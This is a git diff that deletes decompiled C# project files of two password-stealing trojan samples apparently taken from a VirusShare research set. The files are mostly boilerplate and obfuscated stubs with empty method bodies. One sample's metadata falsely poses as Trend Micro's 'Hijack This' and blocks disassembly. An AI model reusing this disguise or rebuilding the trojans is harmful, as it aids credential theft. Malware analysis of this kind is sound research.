||||
return settings;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,46 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.My.Resources.Resources
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace WindowsApplication6.My.Resources
|
||||
{
|
||||
[StandardModule]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) WindowsApplication6.My.Resources.Resources.resourceMan, (object) null))
|
||||
WindowsApplication6.My.Resources.Resources.resourceMan = new ResourceManager("WindowsApplication6.Resources", typeof (WindowsApplication6.My.Resources.Resources).Assembly);
|
||||
return WindowsApplication6.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => WindowsApplication6.My.Resources.Resources.resourceCulture;
|
||||
set => WindowsApplication6.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,120 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@ -1,56 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{872C2438-A4ED-4335-9BEB-452B949C4833}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>WindowsApplication6</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>WindowsApplication6</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\InternalXmlHelper.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsApplication6", "Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.csproj", "{872C2438-A4ED-4335-9BEB-452B949C4833}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{872C2438-A4ED-4335-9BEB-452B949C4833}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{872C2438-A4ED-4335-9BEB-452B949C4833}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{872C2438-A4ED-4335-9BEB-452B949C4833}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{872C2438-A4ED-4335-9BEB-452B949C4833}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
Binary file not shown.
@ -1,29 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: 7OqjPvik943DlahFur.R3XxPfWiE6bTrcgj2H
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using PFdZRNQleal8n7urYr;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0037OqjPvik943DlahFur
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class R3XxPfWiE6bTrcgj2H : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public R3XxPfWiE6bTrcgj2H()
|
||||
{
|
||||
}
|
||||
|
||||
static R3XxPfWiE6bTrcgj2H() => DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
}
|
||||
@ -1,18 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: SuppressIldasm]
|
||||
[assembly: Guid("8a192d26-6c0a-4b7d-b1dc-f307efb602e8")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyKeyName("")]
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyFileVersion("2.0.0.002")]
|
||||
[assembly: AssemblyTitle("Hijack This")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyProduct("Hijack This")]
|
||||
[assembly: AssemblyCompany("Trend Micro Inc")]
|
||||
[assembly: AssemblyDescription("Hijack This")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("2.0.0.2")]
|
||||
@ -1,31 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MRbkwGNN6rRgCHl8MG.MeGp0BJAdCmFl7Jp30
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PFdZRNQleal8n7urYr;
|
||||
using Stub.My;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace MRbkwGNN6rRgCHl8MG
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class MeGp0BJAdCmFl7Jp30
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings cWYVkxCLf
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (MySettings) null;
|
||||
}
|
||||
|
||||
static MeGp0BJAdCmFl7Jp30() => DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
}
|
||||
@ -1,60 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MuCnAYqWpTLjJV1NTi.8Zht2lV2hXedhAiIuS
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
using dFC1WY0nh749FDBLZ5;
|
||||
using liZsPRHoKnxnA40Ca2;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using PFdZRNQleal8n7urYr;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace MuCnAYqWpTLjJV1NTi
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class \u0038Zht2lV2hXedhAiIuS : WindowsFormsApplicationBase
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void L58AdZeAo([In] string[] obj0)
|
||||
{
|
||||
FcFFKKcJyje34a2f96.tm9J5w0VF7wqg();
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
RPCQITpxWMBHTqDjx6.hXeWdhAiI.Run(obj0);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public \u0038Zht2lV2hXedhAiIuS()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
protected override void OnCreateMainForm()
|
||||
{
|
||||
}
|
||||
|
||||
static \u0038Zht2lV2hXedhAiIuS()
|
||||
{
|
||||
FcFFKKcJyje34a2f96.tm9J5w0VF7wqg();
|
||||
DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,63 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.Form1
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PFdZRNQleal8n7urYr;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Stub
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer uSMiuCnAY;
|
||||
private const string WpTpLjJV1 = "@#sp@##@s@lit#mixed";
|
||||
private const string NTiHR3XxP = "Yod2ff86sd84f8r84bj84d3fgh68sdh6";
|
||||
private string fiE26bTrc;
|
||||
private string[] gj2ZH7Oqj;
|
||||
private string Pvkm943Dl;
|
||||
private int ahFuurRPC;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Form1()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void L58AdZeAo()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void cWYVkxCLf([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static string rc4(string message, string password) => (string) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private string j8Zqht2l2([In] ref string obj0, [In] ref string obj1, [In] ref string obj2, ref int _param4 = 0) => (string) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private string hXeWdhAiI([In] int obj0, [In] int obj1) => (string) null;
|
||||
|
||||
static Form1() => DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
}
|
||||
}
|
||||
@ -1,56 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.My.MySettings
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
using PFdZRNQleal8n7urYr;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Stub.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings cWYVkxCLf;
|
||||
private static bool j8Zqht2l2;
|
||||
private static object hXeWdhAiI;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static MySettings()
|
||||
{
|
||||
DUKVNeBIq0pUVlixtA.uSMiuCnAY();
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
MySettings.cWYVkxCLf = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
MySettings.hXeWdhAiI = RuntimeHelpers.GetObjectValue(new object());
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static void L58AdZeAo([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (MySettings) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,58 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{7D3AB287-D9F6-41D9-B7B1-A73EEC41B85A}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Stub</AssemblyName>
|
||||
<ApplicationVersion>2.0.0.2</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CModule_003E{40DD94C3-7701-4283-AFD9-3A72B0ED7.cs" />
|
||||
<Compile Include="Stub\Form1.cs" />
|
||||
<Compile Include="Stub\My\MySettings.cs" />
|
||||
<Compile Include="7OqjPvik943DlahFur\R3XxPfWiE6bTrcgj2H.cs" />
|
||||
<Compile Include="liZsPRHoKnxnA40Ca2\RPCQITpxWMBHTqDjx6.cs" />
|
||||
<Compile Include="MuCnAYqWpTLjJV1NTi\8Zht2lV2hXedhAiIuS.cs" />
|
||||
<Compile Include="dFC1WY0nh749FDBLZ5\FcFFKKcJyje34a2f96.cs" />
|
||||
<Compile Include="PFdZRNQleal8n7urYr\DUKVNeBIq0pUVlixtA.cs" />
|
||||
<Compile Include="MRbkwGNN6rRgCHl8MG\MeGp0BJAdCmFl7Jp30.cs" />
|
||||
<Compile Include="UGdi6C5HYMrxvKslHw\q9i8VFuDh7DfErUhK2.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="25d1eed8-9e80-49da-bab8-beb8de4ed9c6" />
|
||||
<EmbeddedResource Include="3164d90d-b1e5-47dd-a9e6-5d5b78cec830" />
|
||||
<EmbeddedResource Include="b2a94976-1757-4425-a19c-9e09a27b5e38" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.csproj", "{7D3AB287-D9F6-41D9-B7B1-A73EEC41B85A}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{7D3AB287-D9F6-41D9-B7B1-A73EEC41B85A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{7D3AB287-D9F6-41D9-B7B1-A73EEC41B85A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{7D3AB287-D9F6-41D9-B7B1-A73EEC41B85A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{7D3AB287-D9F6-41D9-B7B1-A73EEC41B85A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,47 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: UGdi6C5HYMrxvKslHw.q9i8VFuDh7DfErUhK2
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 91139724-7180-42DA-97C3-9E1BF94B4300
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.NetPass.ad-b9b8a23e72dc286b7df4571fa17e00b2ee66cd277e3d85d1f10c2ae8f0e9d9ac.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PFdZRNQleal8n7urYr;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace UGdi6C5HYMrxvKslHw
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class q9i8VFuDh7DfErUhK2
|
||||
